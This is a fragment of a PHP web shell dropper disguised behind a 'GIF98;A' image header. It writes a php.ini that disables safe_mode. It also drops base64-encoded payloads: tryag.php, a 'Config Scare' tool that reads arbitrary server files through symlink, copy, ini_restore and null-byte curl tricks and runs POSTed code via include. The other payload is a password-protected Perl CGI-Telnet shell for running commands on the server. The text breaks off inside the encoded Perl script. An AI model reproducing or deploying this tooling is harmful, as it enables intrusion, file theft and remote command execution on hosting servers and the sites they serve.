GIF98;A Tools Headquarters Group x3 Here Sym
"; # Tool php.ini }elseif($_POST[tool]=='phpini'){ $ini = "phpini"; mkdir($ini); $safe = fopen("./phpini/php.ini",'a+'); $tryag = fopen("./phpini/tryag.php",'a+'); $filetryag='PD9waHAKLyoqCioKKiBAIG9wYUBob3RtYWlsLmNvbQoqIEAgQnkgTXIuRG00ciAKKiBAIGh0dHA6 Ly9ob3RtLWlsLmNvbQoqCiovCgoKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5n KDApOwplY2hvICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCmJvZHkgewoJYmFja2dyb3Vu ZC1jb2xvcjogIzAwMDAwMDsKCWNvbG9yOiAjZmZmZmZmOwp9Ci50aXRsZSB7Cglmb250LXNpemU6 IDI0cHg7Cgljb2xvcjogI2ZmZmZmZjsKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CmlucHV0LHRleHRh cmVhewpjb2xvcjogIzAwRkYwMDsKZm9udC13ZWlnaHQ6IGJvbGQ7CmRhc2hlZCAjZmZmZmZmOwpi b3JkZXI6IDFweApzb2xpZCAjMDBGRjAwOwpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwCn0KLS0+ Cjwvc3R5bGU+Cjx0aXRsZT5Db25maWcgU2NhcmUgdG9vbCB2LjE8L3RpdGxlPgo8Y2VudGVyPgo8 dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMSIgY2VsbHNwYWNpbmc9 IjAiIGJvcmRlcmNvbG9yPSIjMDBGRjAwIj4KICA8dHI+CiAgICA8dGQgYmdjb2xvcj0iIzAwMzMw MCI+PGRpdiBjbGFzcz10aXRsZSBhbGlnbj1jZW50ZXI+PE1BUlFVRUUgZGlyZWN0aW9uPSJsZWZ0 Ij5Db25maWcgU2NhcmUgdG9vbCB2LjE8L01BUlFVRUU+PC9kaXY+PC90ZD4KICA8L3RyPgogIDx0 cj4KICA8dGQ+JzsKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KJHN5bWwgPSBAZnVuY3Rpb25fZXhp c3RzKCdzeW1saW5rJyk7CiRteXNxbCA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3Qn KTsKJGluaXJlcyA9IEBmdW5jdGlvbl9leGlzdHMoJ2luaV9yZXN0b3JlJyk7CiRjb3B5ID0gQGZ1 bmN0aW9uX2V4aXN0cygnY29weScpOwokY3VybCA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhl YycpOwokc2FmZW1vZCA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGJhc2UgPSBAaW5pX2dldCgi b3Blbl9iYXNlZGlyIik7CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CmVjaG8gJzxiPlNhZmUgbW9k IDogJzsKaWYoJHNhZmVtb2QpewoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic7 CgkJCX0KCQkJZWxzZXsKCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4nOwoJ CQl9CgkJCWVjaG8gJzxiciAvPlN5bWxpbmsgOiAnOwoJCQlpZigkc3ltbCl7CgkJCQllY2hvICc8 Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4nOwoJCQl9CgkJCWVsc2V7CgkJCQllY2hvICc8Zm9u dCBjb2xvcj1yZWQ+T0ZGPC9mb250Pic7CgkJCX0KCQkJZWNobyAnPGJyIC8+SW5pX3Jlc3RvcmUg OiAnOwoJCQlpZigkaW5pcmVzKXsKCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250 Pic7CgkJCX0KCQkJZWxzZXsKCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsK CQkJfQoJCQllY2hvICc8YnIgLz5Db3B5IDogJzsKCQkJaWYoJGNvcHkpewoJCQkJZWNobyAnPGZv bnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+JzsKCQkJfQoJCQllbHNlewoJCQkJZWNobyAnPGZvbnQg Y29sb3I9cmVkPk9GRjwvZm9udD4nOwoJCQl9CgkJCWVjaG8gJzxiciAvPkN1cmwgOiAnOwoJCQlp ZigkY3VybCl7CgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4nOwoJCQl9CgkJ CWVsc2V7CgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250Pic7CgkJCX0KCQkJZWNo byAnPGJyIC8+T3BlbiBiYXNlIGRpciA6ICc7CgkJCWlmKCRiYXNlKXsKCQkJCWVjaG8gJzxmb250 IGNvbG9yPXJlZD5PTjwvZm9udD4nOwoJCQl9CgkJCWVsc2V7CgkJCQllY2hvICc8Zm9udCBjb2xv cj1ncmVlbj5PRkY8L2ZvbnQ+JzsKCQkJfQoJCQllY2hvICc8L2I+JzsKIz09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0KCWVjaG8gJzxjZW50ZXI+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9yZWFk Ij4KCQkJICAgPGlucHV0IG5hbWU9ImZpbGVjd2QiIHR5cGU9InRleHQiIHZhbHVlPSInLmdldGN3 ZCgpLiciIHNpemU9IjQwIj4KCQkJICAgPGlucHV0IG5hbWU9ImZpbGVyZWFkIiB0eXBlPSJzdWJt aXQiIHZhbHVlPSJyZWFkIj4KCQkJICAgPC9mb3JtPic7CgkJCSAgIGlmKGlzc2V0KCRfR0VUWydy ZWFkJ10pKXsKCQkJICAgCSRmaWxlY3dkID0gJF9QT1NUWydmaWxlY3dkJ107CgkJCSAgIAlpZigk c3ltbCl7CgkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+U3ltbGluazwvZGl2Pic7CgkJCSRz eW1sbWEgPSAkY3dkLiIvZy1iLnR4dCI7CgkJICAgCUBzeW1saW5rKCRmaWxlY3dkLCRzeW1sbWEp OwoJCSAgIAllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2Rl Ij4KCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsKCQkgICAJ JGNvbnRlbnRzc3MgPSBAZmlsZV9nZXRfY29udGVudHMoJHN5bWxtYSk7CgkJICAgCSRjb250ZW50 c3NzID0gQGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzc3MpOwoJCSAgIAllY2hvICRjb250ZW50 c3NzOwoJCSAgIAllY2hvICc8L3RleHRhcmVhPjxiciAvPgoJCQkgICA8aW5wdXQgbmFtZT0iZGVj b2RlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJkZWNvZGUiPgoJCQkJCQkJPC9mb3JtPjwvY2VudGVy Pic7CgkJICAgCUB1bmxpbmsoImctYi50eHQiKTsKCQkgICAJZWNobyAnPGJyIC8+JzsKCQkJfQoJ CQlpZigkaW5pcmVzKXsKCQkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+SW5pIHJlc3RvcmU8 L2Rpdj4KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4KCQkJCTx0ZXh0 YXJlYSBjb2xzPSI3MCIgcm93cz0iMTAiIG5hbWU9ImNvZGUiPic7CgkJCQkkaW5pPSRfUE9TVFsn ZmlsZWN3ZCddOwoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsKCQkJCWVjaG8gaW5pX2dl dCgib3Blbl9iYXNlZGlyIik7CgkJCQlpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CgkJCQlpbmlf cmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CgkJCQllY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOwoJ CQkJZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKCQkJCSRzPSBAaHRtbHNwZWNpYWxjaGFy cyhAZmlsZV9nZXRfY29udGVudHMoIiRpbmkiKSk7CgkJCQllY2hvICRzOwoJCQkJZWNobyAnPC90 ZXh0YXJlYT48YnIgLz4KCQkJCQkgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIg dmFsdWU9ImRlY29kZSI+CgkJCQkJICA8L2Zvcm0+CgkJCQk8YnIgLz4nOwoJCQl9CgkJCWlmKCRj b3B5KXsKCQkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+Q29weTwvZGl2Pic7CgkJCQllY2hv ICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4KCQkJCTx0ZXh0 YXJlYSBjb2xzPSI3MCIgcm93cz0iMTAiIGNsYXNzPWlucHV0Pic7CgkJCQkJCQkkbmV3ZmlsZSA9 ICJnLWIudHh0IjsKCQkJCQkJCSRmaWxlciA9ICRfUE9TVFsnZmlsZWN3ZCddOwoJCQkJCQkJQGNv cHkoJGZpbGVyLCRuZXdmaWxlKTsKCQkJCQkJCSRyY29weSA9IEBodG1sc3BlY2lhbGNoYXJzKEBm aWxlX2dldF9jb250ZW50cygkbmV3ZmlsZSkpOwoJCQkJCQkJZWNobyAkcmNvcHk7CgkJCQkJCQlA dW5saW5rKCRuZXdmaWxlKTsKCQkJCQkJCWVjaG8gJzwvdGV4dGFyZWE+PGJyIC8+CgkJCQkJCQk8 aW5wdXQgbmFtZT0iZGVjb2RlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJkZWNvZGUiPgoJCQkJCQkJ PC9mb3JtPjwvY2VudGVyPgoJCQkJCQkJPGJyIC8+JzsKCQkJfQoJCQlpZigkY3VybCl7CgkJCQll Y2hvICc8ZGl2IGFsaWduPSJjZW50ZXIiPkN1cmw8L2Rpdj4nOwoJCQkJZWNobyAnPGNlbnRlcj48 Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2RlY29kZSI+CgkJCQk8dGV4dGFyZWEgY29scz0i NzAiIHJvd3M9IjEwIiBjbGFzcz1pbnB1dD4nOwoJCQkJCQkJJGN1ID0gJF9QT1NUWydmaWxlY3dk J107CgkJCQkJCQkkbGkgPSBAY3VybF9pbml0KCJmaWxlOi8vLyIuJGN1LiJceDAwLy4uLy4uLy4u Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJ0M6XFVzZXJzXHRlc3RcRG93bmxvYWRzXERl WmVuZF9EZUNyeVxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1 IERlY29kZXJfX0ZJTEVfXzEtZW5jb2RlZFx0cnlhZy5waHAnKTsKCQkJCQkJCUB2YXJfZHVtcChA Y3VybF9leGVjKCRsaSkpOwoJCQkJCQkJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4KCQkJCQkJCTxp bnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+CgkJCQkJCQk8 L2Zvcm0+PC9jZW50ZXI+JzsKCQkJfQoJCQl9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQppZihpc3NldCgkX0dFVFsnZGVj b2RlJ10pKXsKCSRjb2RlID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKTsKCSRvcGVuID0g Zm9wZW4oImVuY29kZS5waHAiLCJ3Iik7Cgkkd3JpdGUgPSBmd3JpdGUoJG9wZW4sJGNvZGUpOwoJ aWYoJHdyaXRlKXsKCWluY2x1ZGUoImVuY29kZS5waHAiKTsKCWVjaG8gJzxjZW50ZXI+PHRleHRh cmVhIGNvbHM9IjgwIiByb3dzPSIyMCIgY2xhc3M9aW5wdXQ+JzsKCWVjaG8gJEdMT0JBTFNbJ09P MDBPMDBPMCddOwoJZWNobyAnPC90ZXh0YXJlYT48L2NlbnRlcj4nOwoJfWVsc2V7CgkJZWNobyAn PHNjcmlwdD5hbGVydCgiRVJST1IiKTwvc2NyaXB0Pic7Cgl9Cn0KIz09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQplY2hvICc8 L3RkPjwvdHI+Cjx0cj4KPHRkPjxkaXYgYWxpZ249Y2VudGVyIGNsYXNzPXRpdGxlPkJ5IFRyeWFn IEFjYWRlbXk8L2Rpdj48L3RkPgo8L3RhYmxlPjwvY2VudGVyPgonOwoKPz4='; fwrite($safe,"safe_mode = off"); fwrite($tryag,base64_decode($filetryag)); fclose($safe); echo "Here php.ini
"; echo "Here tryag.php
"; # Tool perl.pl }elseif($_POST[tool]=='perl'){ $perl = "perl"; mkdir('perl'); chdir('perl'); #$xEn = fopen('telnet2.cgi','a+'); $fileencode='IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExp Y2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9y IE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJp Z2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNl LCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29w eXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUg c2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxk IGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUt bWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0 YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20v CiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQojIFByb2R1 Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24g Rm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0 dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj IFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBz ZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMu CiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJl bG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg c2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lgoj IDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNo IGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1 YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBp biBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBz Y3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJ ZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJl IGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dp biB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246 IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIK IyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tCiRQYXNzd29yZCA9ICJuRXgiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVl ZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgoKJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVk IHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkjIHlvdSdyZSBydW5uaW5n IHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVu bmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4K CiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAy IGNvbW1hbmRzCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENt ZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h bmRzCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJh dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl ZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJ CSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2 ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBv bmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoK JFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2Vu dCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNl CgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29t cGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0 aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVk LgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05P VyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAk VW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAg PSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAx PiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhl IGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVz LiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1 c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57 J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2 YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0 aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9j YWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsn Q09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87 CgoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydR VUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1Qi KQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQly ZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoKCSMgaGFuZGxlIGZp bGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zv cm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxl YXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsg CgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5c bi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsg IyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30g PSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0g JDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBw YXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFsk aV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5 ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJc biR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJ JGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJs IGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZv cmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5 LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNr KCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkv Z2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57 JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMg dGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGlj aCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFn ZUhlYWRlcgp7CgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsKCSRFbmNvZGVkQ3Vy cmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7Cglwcmlu dCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhl YWQ+Cjx0aXRsZT5Vbml0LVggVGVhbTwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxi b2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3Bt YXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAi 